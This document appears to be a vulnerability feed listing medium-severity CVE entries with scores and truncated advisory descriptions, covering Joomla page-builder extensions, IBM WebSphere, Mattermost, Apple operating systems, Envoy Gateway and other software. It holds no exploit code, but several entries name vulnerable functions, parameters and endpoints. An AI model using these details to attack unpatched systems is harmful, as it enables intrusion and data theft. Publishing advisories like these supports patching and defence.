CVE-2026-79700	New	6.9	MEDI		0.003		Joomla Extension - joomshaper.com - Unauthenticated CAPTCHA Bypass via Request-Controlled CAPTCHA Configuration in SP Page Builder Pro 5.1.4 - 6.9.0 - The optin_form addon read the CAPTCHA type, the expected answer and the enabled flag from the request rather than from the stored addon configuration. Verification reduced to md5(\$captcha_question) != \$captcha_answer with both...
CVE-2026-79701	New	6.9	MEDI		0.003		Joomla Extension - joomshaper.com - Unauthenticated CAPTCHA Bypass in Module Context in the Contact, Opt-in and Form Builder Addons in SP Page Builder Pro 3.2.6 - 6.9.0 - In the ajax_contact, optin_form and form_builder addons, the result returned by the CAPTCHA plugin's onCheckAnswer event was discarded and replaced with a test for a non-empty string whenever the request-su...
CVE-2026-81565	New	6.9	MEDI		0.003		Joomla Extension - joomshaper.com - Missing Directory Confinement in Media Upload in SP Page Builder (Free and Pro) 4.0.0 - 6.9.0 - The folder request parameter replaced the generated date-based destination folder in its entirety and was then passed to Folder::create() and File::upload() without either of the directory boundary checks applied elsewhere in the same file. File...
CVE-2026-82784	New	6.9	MEDI		0.002		Missing authentication for critical function vulnerability exists in Remote I/O Coupler Unit (Server Type) CPSN-MCB271-*. An attacker may execute a REST API without authentication, which could allow the attacker to retrieve I/O values and/or control the output.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-85188	New	6.9	MEDI		0.002		Joomla Extension - regularlabs.com - Database data disclosure in Advanced Module Manager (Free, Pro) < 12.1.0, Conditional Content (Free, Pro) < 8.0.0, Content Templater (Pro) < 14.2.0, ReReplacer (Pro) < 16.2.0 for Joomla - The Conditions editor creates a default Condition Set name from the item to which the set is linked. The affected code accepts the database table and la...
CVE-2026-89021	New	6.9	MEDI		0.002		MikroTik RouterOS before 7.24.2 contains a path traversal vulnerability in the container package OCI/tar image extraction that allows attackers to write files outside the container root by supplying a crafted container image with symlinks pointing to arbitrary paths. Attackers can exploit unsanitized tar member path extraction during container import via /container/add to ac...
CVE-2026-90707	New	6.9	MEDI		0.003		A security flaw has been discovered in Open5GS up to 2.7.x. Affected is the function amf_nnrf_try_old_amf_discovery_fallback of the file src/amf/nnrf-handler.c of the component Old AMF Discovery Fallback. The manipulation of the argument discovery_option results in use after free. The attack may be performed from remote. The patch is identified as ddd683a35f8aaac2b7b9884a24c...
CVE-2026-90809	New	6.9	MEDI		0.003		A vulnerability was identified in HKUDS nanobot up to 0.2.1. The affected element is the function ExecTool._guard_command/ExecTool._spawn of the file nanobot/agent/tools/shell.py of the component ExecTool. Such manipulation leads to argument injection. It is possible to launch the attack remotely. The name of the patch is af582246f141311d574551b7571a517bcc3df750. It is best ...
CVE-2026-90819	New	6.9	MEDI		0.004		A weakness has been identified in a2aproject a2a-java 1.2.0. The affected element is the function BasePushNotificationSender.dispatchNotification of the file server-common/src/main/java/org/a2aproject/sdk/server/tasks/BasePushNotificationSender.java of the component Authorization Header Construction. This manipulation causes http response splitting. The attack can be initiat...
CVE-2026-91143	New	6.9	MEDI		0.003		goproxy through 15.3 fails to apply HTTP proxy basic authentication to CONNECT tunnel requests, allowing unauthenticated clients to bypass credential requirements. Attackers can issue CONNECT requests to establish tunnels through the authenticated proxy without providing credentials, enabling arbitrary TCP traffic relay and access to restricted destinations.
CVE-2026-91198	New	6.9	MEDI		0.002		GrowthBook through 5.0.1 returns unredacted fact table definitions including raw warehouse SQL in payloads served by unauthenticated public report and experiment endpoints. Attackers with knowledge of a publicly shared report or experiment identifier can read internal data warehouse query text, schema, table names, filter values and datasource identifiers.
CVE-2025-24890	New	6.8	MEDI		0.002		gitoxide is an implementation of git written in Rust. Prior to 0.13.3, the gix-sec crate on Windows incorrectly treats repositories controlled by another user as trusted when an administrator runs a dependent program with an unfiltered elevated token. In gix-sec/src/identity.rs, gix_sec::identity::is_path_owned_by_current_user obtains folder_owner and token_owner, but its ad...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-12985	New	6.8	MEDI		0.003		Mattermost versions 11.9.x <= 11.9.0, 11.8.x <= 11.8.4, 11.7.x <= 11.7.7 Mattermost failed to validate Dynamic Client Registration redirect URIs by URL component (matching glob patterns against the raw URI string instead) which allows a remote unauthenticated attacker to register an OAuth client with an attacker-controlled callback host that bypasses the configured redirect ...
CVE-2026-13265	New	6.8	MEDI		0.002		IBM MQ 9.1.0.0 through 9.1.0.37 LTS, 9.2.0.0 through 9.2.0.43 LTS, 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 CD, and 10.0.0.0 could allow an authenticated attacker with MFT publish authority to obtain sensitive information or cause a denial of service due to XML external entity injection in the mqweb MFT R...
CVE-2026-14986	New	6.8	MEDI		0.002		The ITE it51xxx I2C driver, when operating as an I2C target (slave) in buffer mode (CONFIG_I2C_TARGET + CONFIG_I2C_TARGET_BUFFER_MODE), copies host-supplied write data into the fixed-size data->target_in_buffer inside its target FIFO interrupt handler target_i2c_isr_fifo() in drivers/i2c/i2c_ite_it51xxx.c. The copy loop stores to target_in_buffer[i + data->w_index] and only ...
CVE-2026-16147	New	6.8	MEDI		0.002		The ITE IT82xx2 USB device-controller driver (drivers/usb/udc/udc_it82xx2.c) mishandles multi-packet OUT transfers on non-control endpoints. In work_handler_out() the active transfer buffer is obtained with udc_buf_peek() (which does not dequeue it); when a full max-packet-size packet arrives but the buffer still has tailroom (the transfer is not yet complete), the pre-fix c...
CVE-2026-16726	New	6.8	MEDI		0.001		Buffer overflow vulnerability in Panasonic Industry USB Driver for MINAS A5/A6 allows attackers to stop Windows.
CVE-2026-53495	New	6.8	MEDI		0.002		containerd is an open-source container runtime. Prior to 1.7.35, 2.0.12, 2.2.8, and 2.3.5, containerd on Linux with the CRI plugin enabled can indefinitely block the drainExecSyncIO goroutine in internal/cri/server/container_execsync.go when CRI ExecSync is used by exec probes or lifecycle hooks that launch long-lived background child processes retaining standard input and o...
CVE-2026-55837	New	6.8	MEDI		0.002		dbt-mcp is a Model Context Protocol server for interacting with dbt. Prior to 1.20.0, the local OAuth helper in src/dbt_mcp/oauth/fastapi_app.py exposes GET /dbt_platform_context without authentication or Host validation after a user completes the dbt Platform OAuth flow. The endpoint returns the full DbtPlatformContext, including access_token and refresh_token values persis...
CVE-2026-90890	New	6.8	MEDI		0.001		ASRock Polychrome SYNC/RGB software utility developed by ASRock Inc. has an Untrusted Pointer Dereference vulnerability. Authenticated local attackers can send a specially crafted IOCTL request to cause the driver to dereference an unvalidated pointer, resulting in an operating system crash.
CVE-2026-90891	New	6.8	MEDI		0.001		ASRock Polychrome SYNC/RGB software utility developed by ASRock Inc. has an Improper Access Control vulnerability. Authenticated local attackers can send a specially crafted IOCTL request to cause the driver to write to improperly restricted I/O ports, resulting in a forced operating system reboot.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2022-42917	New	6.7	MEDI		0.001		In FRRouting FRR before 8.5, the service user (usually frr) can escalate its privileges to root by monitoring the configuration directory (/etc/frr) and replacing config files upon creation with, for example, symlinks to change the ownership of arbitrary files. This is a TOCTOU Race Condition caused by a combination of touch and chown.
CVE-2023-29377	New	6.6	MEDI		0.005		An issue was discovered in Softing OPC UA C++ SDK through 6.20 and Softing Secure Integration Server through 1.22. By using FileType renames, it is possible to bypass limitations on assignment of a directory path to FileDirectory OPC UA objects and a file path to File OPC UA objects.
CVE-2023-34854	New	6.6	MEDI		0.002		HotelDruid before 3.0.6 has insufficient file upload sanitation in the backup/restore function.
CVE-2026-43788	New	6.6	MEDI		0.001	apple:macos	An integer overflow was addressed with improved input validation. This issue is fixed in macOS Golden Gate 27. Processing a maliciously crafted file may lead to a denial-of-service or potentially disclose memory contents.
CVE-2026-53708	New	6.6	MEDI		0.002		ContextForge is an AI gateway, registry, and proxy that provides centralized discovery, guardrails, and management for MCP, A2A, and REST or gRPC APIs. Prior to 1.0.3, the /admin/gateways/test call site in mcpgateway/admin.py calls validate_gateway_test_url() in mcpgateway/common/validators.py to resolve and reject private, loopback, link-local, and cloud-metadata addresses,...
CVE-2026-54177	New	6.6	MEDI		0.007		backpack/crud provides Create, Read, Update & Delete (CRUD) functions for Backpack, a collection of Laravel packages that help users build custom administration panels. From 6.0.0 until 6.8.14 and 7.0.38, HasUploadFields methods uploadFileToDisk and uploadMultipleFilesToDisk, used through CrudTrait, and the withFiles() path through FileNameGenerator do not internally reject ...
CVE-2026-84537	New	6.6	MEDI		0.001	apple:macos	The issue was addressed with improved memory handling. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to cause unexpected system termination or corrupt kernel memory.
CVE-2026-12759	New	6.5	MEDI		0.004		IBM Cloud Pak for Business Automation could allow an authenticated user to cause a denial of service due to uncontrolled resource consumption.
CVE-2026-12765	New	6.5	MEDI		0.002		IBM Langflow OSS 1.0.0 through 1.10.2 is vulnerable to server-side request forgery (SSRF). This may allow an unauthenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.
CVE-2026-12767	New	6.5	MEDI		0.002		IBM Langflow OSS 1.0.0 through 1.11.5 is vulnerable to server-side request forgery (SSRF). This may allow an unauthenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.
CVE-2026-15396	New	6.5	MEDI		0.003		IBM WebSphere Application Server 9.0, and 8.5 and IBM WebSphere Application Server - Liberty are vulnerable to HTTP request smuggling, caused by improper parsing of the HTTP transfer-encoding request header. By sending a specially crafted HTTP transfer-encoding request header, an attacker could exploit this vulnerability to poison the web cache, bypass web application firewa...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-15412	New	6.5	MEDI		0.002		IBM WebSphere Application Server 9.0, and 8.5 and IBM WebSphere Application Server - Liberty could allow a remote attacker to conduct phishing attacks, using an open redirect attack. By persuading a victim to visit a specially crafted Web site, a remote attacker could exploit this vulnerability to spoof the URL displayed to redirect a user to a malicious Web site that would ...
CVE-2026-15634	New	6.5	MEDI		0.003		IBM WebSphere Application Server 9.0, and 8.5 and IBM WebSphere Application Server - Liberty are vulnerable to HTTP request smuggling, caused by improper parsing of the HTTP transfer-encoding request header. By sending a specially crafted HTTP transfer-encoding request header, an attacker could exploit this vulnerability to poison the web cache, bypass web application firewa...
CVE-2026-15814	New	6.5	MEDI		0.002		Mattermost versions 11.9.x <= 11.9.0, 11.8.x <= 11.8.4, 11.7.x <= 11.7.7, 10.11.x <= 10.11.22 fail to limit the amount of memory allocated when decoding uploaded image files which allows an authenticated user to cause excessive server memory consumption and potential denial of service via uploading a specially crafted image as a profile picture, channel file attachment, team...
CVE-2026-15893	New	6.5	MEDI		0.002		net_if_ipv6_calc_reachable_time() in subsys/net/ip/net_if.c derives a randomized ND reachable time from ipv6->base_reachable_time as min_reachable + sys_rand32_get() % (max_reachable - min_reachable), where min_reachable = base/2 and max_reachable = 3*base/2 using integer division. When base_reachable_time is 1, both min_reachable and the modulus collapse so the function ret...
CVE-2026-16187	New	6.5	MEDI		0.003		IBM WebSphere Application Server 9.0, and 8.5 could allow a remote attacker to bypass authentication and obtain sensitive information by sending a crafted unauthenticated request.
CVE-2026-16702	New	6.5	MEDI		0.003		IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 for Linux, UNIX and Windows (includes DB2 Connect Server) could allow a remote authenticated attacker to cause a denial of service due to a null pointer dereference.
CVE-2026-17463	New	6.5	MEDI		0.005		IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 for Linux, UNIX and Windows (includes DB2 Connect Server) could allow a remote authenticated attacker to cause a denial of service due to uncontrolled resource consumption.
CVE-2026-28934	New	6.5	MEDI		0.003	apple:macos	A buffer overflow was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Mounting a malicious disk image may cause unexpected system termination.
CVE-2026-43677	New	6.5	MEDI		0.003	apple:macos	An out-of-bounds write issue was addressed by removing the vulnerable code. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Connecting to a malicious WebDAV server may lead to unexpected app termination.
CVE-2026-43687	New	6.5	MEDI		0.003	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	The issue was addressed with improved memory handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Connecting to a malicious NFS server may disclose kernel memory.
CVE-2026-43719	New	6.5	MEDI		0.003	apple:macos	A use-after-free issue was addressed with improved memory management. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Mounting a maliciously crafted SMB network share may lead to system termination.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-43761	New	6.5	MEDI		0.004	apple:macos	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in macOS Sequoia 15.7.8, macOS Sonoma 14.8.8, macOS Tahoe 26.6. Mounting a malicious disk image may cause unexpected system termination.
CVE-2026-43791	New	6.5	MEDI		0.002	apple:macos	A validation issue was addressed with improved input sanitization. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to read arbitrary files.
CVE-2026-50157	New	6.5	MEDI		0.005		Auth0 Symfony is a Symfony SDK for Auth0 Authentication and Management APIs. From 5.0.0-BETA0 until 5.9.0, the Authorizer::authenticate() and Authorizer::supports() paths in the Authorizer security authenticator may accept OAuth 2.0 bearer access tokens from the token URL query parameter as well as the Authorization header for protected HTTP routes. Query-string tokens can b...
CVE-2026-5132	New	6.5	MEDI		0.002		Mattermost versions 11.9.x <= 11.9.0, 11.8.x <= 11.8.4, 11.7.x <= 11.7.7, 10.11.x <= 10.11.22 fail to limit size of unpacked SDP messages compressed with zlib, which allows attacker to deny service or crash server via sending many SDP messages that unpack to large size.. Mattermost Advisory ID: MMSA-2026-00643
CVE-2026-53716	New	6.5	MEDI		0.007		Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.7.4 and 1.8.1, getFileFromGZ in internal/wasm/httpfetcher.go calls io.ReadAll on a gzip.Reader without limiting decompressed output when a tenant-controlled EnvoyExtensionPolicy.spec.wasm[].code.http.url points to a reachable compressed Wasm pa...
CVE-2026-53717	New	6.5	MEDI		0.007		Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.7.4 and 1.8.1, internal/wasm/imagefetcher.go follows tenant-controlled EnvoyExtensionPolicy spec.wasm[].code.image.url values to Docker or OCI Wasm layers, and extractWasmPluginBinary uses the untrusted tar-header h.Size value to allocate memor...
CVE-2026-53719	New	6.5	MEDI		0.007		Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.7.4 and 1.8.1, translateSecurityPolicyForRoute in internal/gatewayapi/securitypolicy.go dereferences a nil authorization value when a namespace-scoped tenant creates a SecurityPolicy targeting a TCPRoute and omits spec.authorization. The persis...
CVE-2026-54176	New	6.5	MEDI		0.005		backpack/crud provides Create, Read, Update & Delete (CRUD) functions for Backpack, a collection of Laravel packages that help users build custom administration panels. From 6.0.0 until 6.8.14 and 7.0.38, MyAccountController::postAccountInfoForm at POST /admin/edit-account-info permits AccountInfoRequest to update backpack_authentication_column(), which is email by default, ...
CVE-2026-54723	New	6.5	MEDI		0.003		devpi is a Python package index staging server and packaging, testing, and release tool. Prior to 6.20.2 and 7.0.0b3, a server configured with the primary or deprecated master role allows an unauthenticated, modified GET request to the +changelog route because verify_primary does not reject a missing identity and therefore fails to require ReplicalIdentity. The response can d...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-57115	New	6.5	MEDI		0.003		PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.59, SpiderTools.scrape_page validates only the initial URL and lets requests.Session.get follow redirects automatically, so a public-looking URL can redirect to a loopback, private, link-local, or metadata address without revalidation. The redirected response body is returned through scrape_page and its ex...
CVE-2026-57120	New	6.5	MEDI		0.003		PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.59, execute_code sandbox mode permits runtime assembly of blocklisted dunder names and allows str.format or str.format_map to resolve dotted fields through C-level attribute access that bypasses _safe_getattr. This exposes class, qualified-name, base-class, globals, and object-dictionary attributes to prom...
CVE-2026-57570	New	6.5	MEDI		0.002		backpack/crud provides Create, Read, Update & Delete (CRUD) functions for Backpack, a collection of Laravel packages that help users build custom administration panels. From 6.0.0 until 6.8.15 and 7.0.47, HasMany and MorphMany handling through attachManyRelation during CRUD create and update operations accepts submitted child primary keys without consistently restricting upd...
CVE-2026-64753	New	6.5	MEDI		0.003	apple:ipados, apple:iphone_os, apple:macos, apple:safari, apple:tvos, apple:visionos, apple:watchos	A permissions issue was addressed by removing the vulnerable code. This issue is fixed in Safari 27, iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. Processing maliciously crafted web content may disclose sensitive user information.
CVE-2026-65365	New	6.5	MEDI		0.003	apple:macos	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Connecting to a malicious SMB share may disclose kernel memory.
CVE-2026-65395	New	6.5	MEDI		0.004	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27. Processing a maliciously crafted image may result in memory corruption.
CVE-2026-65412	New	6.5	MEDI		0.005	apple:ipados, apple:iphone_os, apple:macos, apple:visionos, apple:watchos	A null pointer dereference was addressed with improved input validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, visionOS 27, watchOS 27. Processing web content may lead to a denial-of-service.
CVE-2026-68570	New	6.5	MEDI		0.004		Incorrect Authorization vulnerability in Apache Doris allows an authenticated user to bypass privilege checks and access data they are not authorized to read, resulting in unauthorized disclosure of information. This issue affects Apache Doris: from 2.0.0 through 2.1.*, from 3.0.0 through 3.0.*, from 4.0.0 before 4.0.8, and from 4.1.0 before 4.1.4. Users are recommende...
CVE-2026-73497	New	6.5	MEDI		0.002		MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). From 0.17.0 until 0.22.0, validate_url_for_ssrf resolves the attacker-controlled X-Atlassian-Jira-Url and X-Atlassian-Confluence-Url header host once at middleware time, but the outbound request is built with the raw hostname and resolves it again at connection time with no l...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-77147	New	6.5	MEDI		0.003		Improper Control of Generation of Code ('Code Injection') vulnerability in Apache Syncope. An administrator with adequate entitlements for Implementations can create a malicious Groovy Command class containing untrusted code in their CommandArgs static implementation, bypassing the Groovy security sandbox. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, fr...
CVE-2026-82426	New	6.5	MEDI		0.005		Description Nimbus accepted the `uploadedJarLocation` argument of `submitTopology` / `submitTopologyWithOpts` as a server-side path and opened it directly, without checking that it referred to a file the caller had actually uploaded. The intended flow is that a client first calls `beginFileUpload`, which returns a path inside the Nimbus inbox, and uploads the jar in chunks ...
CVE-2026-82433	New	6.5	MEDI		0.004		Description `getNimbusConf` returned the complete daemon configuration without redaction after only a user-level authorization check. Where the cluster is configured with them, that response includes `storm.zookeeper.auth.payload` and the keystore and truststore passwords for the Thrift, Netty and ZooKeeper TLS configuration. The project masks passwords elsewhere before dis...
CVE-2026-84179	New	6.5	MEDI		0.004		Description getTopologyPageInfo merged the Nimbus daemon configuration with the topology's own configuration and returned the result without redaction in the topology_conf field of TopologyPageInfo. The Storm UI copied that value verbatim into the configuration field of GET /api/v1/topology/{id} and of the corresponding metrics endpoint. Where the cluster is configured...
CVE-2026-84487	New	6.5	MEDI		0.004	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	An integer overflow was addressed with improved input validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted file may result in disclosure of process memory.
CVE-2026-84519	New	6.5	MEDI		0.003	apple:ipados, apple:iphone_os, apple:macos	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Mounting a disk image with maliciously crafted files may lead to unexpected system termination.
CVE-2026-84536	New	6.5	MEDI		0.004	apple:macos	An integer underflow was addressed with improved input validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Connecting to a malicious SMB server may lead to unexpected system termination.
CVE-2026-84538	New	6.5	MEDI		0.004	apple:macos	A denial-of-service issue was addressed with improved input validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. A remote attacker may be able to cause a denial-of-service.
CVE-2026-84588	New	6.5	MEDI		0.002	apple:macos	A memory corruption issue was addressed by removing the vulnerable code. This issue is fixed in macOS Golden Gate 27. Mounting a maliciously crafted disk image may cause unexpected system termination or corrupt kernel memory.
CVE-2026-84596	New	6.5	MEDI		0.004	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted font may result in the disclosure of process memory.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-84597	New	6.5	MEDI		0.003	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	An out-of-bounds read issue was addressed with improved input validation. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted font may result in the disclosure of process memory.
CVE-2026-84635	New	6.5	MEDI		0.001		A logic issue was addressed with improved state management. This issue is fixed in Safari 27, iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. Processing maliciously crafted web content may lead to an unexpected process termination.
CVE-2026-86879	New	6.5	MEDI		0.004	apple:ipados, apple:iphone_os	A denial-of-service issue was addressed with improved input validation. This issue is fixed in iOS 27 and iPadOS 27. A remote attacker may be able to cause a denial-of-service.
CVE-2026-86882	New	6.5	MEDI		0.003	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted image may lead to unexpected process termination.
CVE-2026-86885	New	6.5	MEDI		0.002	apple:ipados, apple:iphone_os	An input validation issue was addressed with improved input validation. This issue is fixed in iOS 27 and iPadOS 27. An attacker in radio range may be able to cause unexpected system termination.
CVE-2026-91181	New	6.5	MEDI		0.002		Mattermost versions 11.9.x <= 11.9.0, 11.8.x <= 11.8.4, 11.7.x <= 11.7.7, 10.11.x <= 10.11.22 Fail to sanitize Team objects returned by the data retention teams endpoint which allows an authenticated user holding only the read-only Data Retention Policy permission to obtain a private team's secret invite_id and email, and use it to join the team without authorization, via GE...
CVE-2026-9812	New	6.5	MEDI		0.002		Mattermost versions 11.9.x <= 11.9.0, 11.8.x <= 11.8.4, 11.7.x <= 11.7.7, 10.11.x <= 10.11.22 fail to validate that a property field belongs to the specified run before updating its value which allows an authenticated user with run property-management access to crash the Playbooks plugin via a REST request referencing a property field that belongs to a different run. Matterm...
CVE-2026-16185	New	6.4	MEDI		0.002		IBM WebSphere Application Server 9.0, and 8.5 could allow a remote attacker to bypass authentication on an admin console servlet.
CVE-2026-33964	New	6.4	MEDI		0.001		An issue was discovered in camera in Samsung Mobile Processor Exynos 1580 and 2500. An untrusted pointer dereference occurs when a malformed message is sent to the camera driver, causing limited information disclosure or denial of service.
CVE-2026-4103	New	6.4	MEDI		0.002		Insufficient HTML sanitization in the Publisher Portal and Developer Portal allows untrusted user input to be rendered without proper encoding or neutralization. This enables the injection and execution of malicious JavaScript when affected API documents are viewed. Successful exploitation may result in the execution of malicious scripts within the user's browser context wh...
CVE-2026-53718	New	6.4	MEDI		0.003		Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.7.4 and 1.8.1, an HTTPRoute can use an extension-managed custom backendRef to reference a backend resource in another namespace without a matching Gateway API ReferenceGrant in the target namespace. The custom-backend branch in internal/gateway...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-14275	New	6.3	MEDI		0.003		IBM i Access Family 1.1.2.0 through 1.1.9.15 IBM i Access Client Solutions could allow an authenticated user to execute arbitrary commands with normal user privileges on the system due to improper validation of user supplied input in a STRPCCMD CL command.
CVE-2026-14276	New	6.3	MEDI		0.003		IBM i Access Family 1.1.2.0 through 1.1.9.15 IBM i Access Client Solutions could allow an authenticated user to execute arbitrary commands with normal user privileges on the system due to improper validation of user supplied input in a malicious emulator macro RunProgram action.
CVE-2026-14277	New	6.3	MEDI		0.005		IBM i Access Family 1.1.2.0 through 1.1.9.15 could allow an authenticated user to execute arbitrary commands with normal user privileges on the system due to improper validation of user supplied input in a session file.
CVE-2026-54452	New	6.3	MEDI		0.004		safeurl is a server-side request forgery protection library. Prior to 0.2.4, the privateNetworks list in ip.go omits the IPv6 ranges 64:ff9b:1::/48, 5f00::/16, 3fff::/20, and 100:0:0:1::/64. When an application enables IPv6 with EnableIPv6(true), an attacker-controlled destination in one of these ranges is not recognized as non-public and can pass the SSRF destination check,...
CVE-2026-64717	New	6.3	MEDI		0.001	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	A race condition was addressed with improved state handling. This issue is fixed in iOS 18.7.10 and iPadOS 18.7.10, iOS 26.6 and iPadOS 26.6, macOS Sequoia 15.7.8, macOS Tahoe 26.6, tvOS 26.6, visionOS 26.6, watchOS 26.6. An app may be able to cause unexpected system termination or corrupt kernel memory.
CVE-2026-88819	New	6.3	MEDI		0.001		In Siglet current and past versions the refresh token handler do not enforce proof of possession of the issuer DID.
CVE-2026-90806	New	6.3	MEDI		0.004		A vulnerability has been found in DjangoCRM django-crm up to 1.2. This vulnerability affects the function BulkUpdateCasesView of the file backend/cases/bulk_views.py of the component Bulk Case Update. The manipulation leads to missing authorization. The attack is possible to be carried out remotely. Upgrading to version 1.3.0 is able to resolve this issue. The identifier of ...
CVE-2026-90808	New	6.3	MEDI		0.003		A vulnerability was determined in HKUDS nanobot up to 0.2.1. Impacted is the function ExecTool._guard_command/ExecTool._spawn of the file nanobot/agent/tools/shell.py of the component ExecTool. This manipulation causes incomplete blacklist. It is possible to initiate the attack remotely. Patch name: af582246f141311d574551b7571a517bcc3df750. Applying a patch is the recommende...
CVE-2026-91079	New	6.3	MEDI		0.004		Huly Platform through 0.7.426 contains a server-side request forgery vulnerability in the print service due to missing hostname allowlist validation. Authenticated workspace members can supply arbitrary URLs to the print endpoint, which Puppeteer renders and returns as downloadable PDFs or images, enabling access to internal metadata services and network hosts.
CVE-2026-19543	New	6.2	MEDI		0.002		IBM Common Licensing Agent 9.0, Agent 9.0.0.1, Agent 9.0.0.2, ART 9.0, ART 9.0.0.1, and ART 9.0.0.2 performs input validation exclusively on the client side and fails to enforce the same restrictions on the server side. An attacker can modify requests to bypass validation controls and submit unauthorized values, potentially resulting in unintended application behavior.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-55073	New	6.2	MEDI		0.002		WeasyPrint helps web developers to create PDF documents. Prior to 70.0, server-side applications that configure a restrictive url_fetcher and pass attacker-influenced values to HTML.write_pdf() can have the restriction bypassed through the xmp_metadata or stylesheets options. In weasyprint/pdf/init.py, xmp_metadata calls select_source() without the document url_fetcher, allo...
CVE-2026-55846	New	6.2	MEDI		0.001		Allure 2 is the version 2.x branch of Allure Report, a multi-language test reporting tool. Prior to 2.39.0, the HTTP server started by allure serve and allure open uses URI.getPath() in Commands.setUpServer() in allure-commandline/src/main/java/io/qameta/allure/Commands.java and passes the percent-decoded request path to reportDirectory.resolve() without normalizing the resu...
CVE-2023-51769	New	6.1	MEDI		0.002		Frappe before 14.49.0 allows an XSS attack that is associated with blog pages and exception pages.
CVE-2026-13276	New	6.1	MEDI		0.002		IBM Verify Identity Access 11.0.0 through 11.0.3 Interim Fix 001 and IBM Security Verify Access 10.0.0 through 10.0.9.2 Interim Fix 001 and IBM Verify Identity Access Container 11.0.0 through 11.0.3 Interim Fix 001 and IBM Security Verify Access Container 10.0.0 through 10.0.9.2 Interim Fix 001.
CVE-2026-55093	New	6.1	MEDI		0.002		Tract is a tiny, no-nonsense, self-contained TensorFlow and ONNX inference toolkit. Prior to 0.21.16, 0.22.2, and 0.23.1, tract-nnef uses unchecked usize multiplication in nnef/src/tensors.rs read_tensor for attacker-controlled tensor dimensions, the allocation size, and the reported tensor length. Loading a crafted NNEF archive through model_for_path or model_for_read reach...
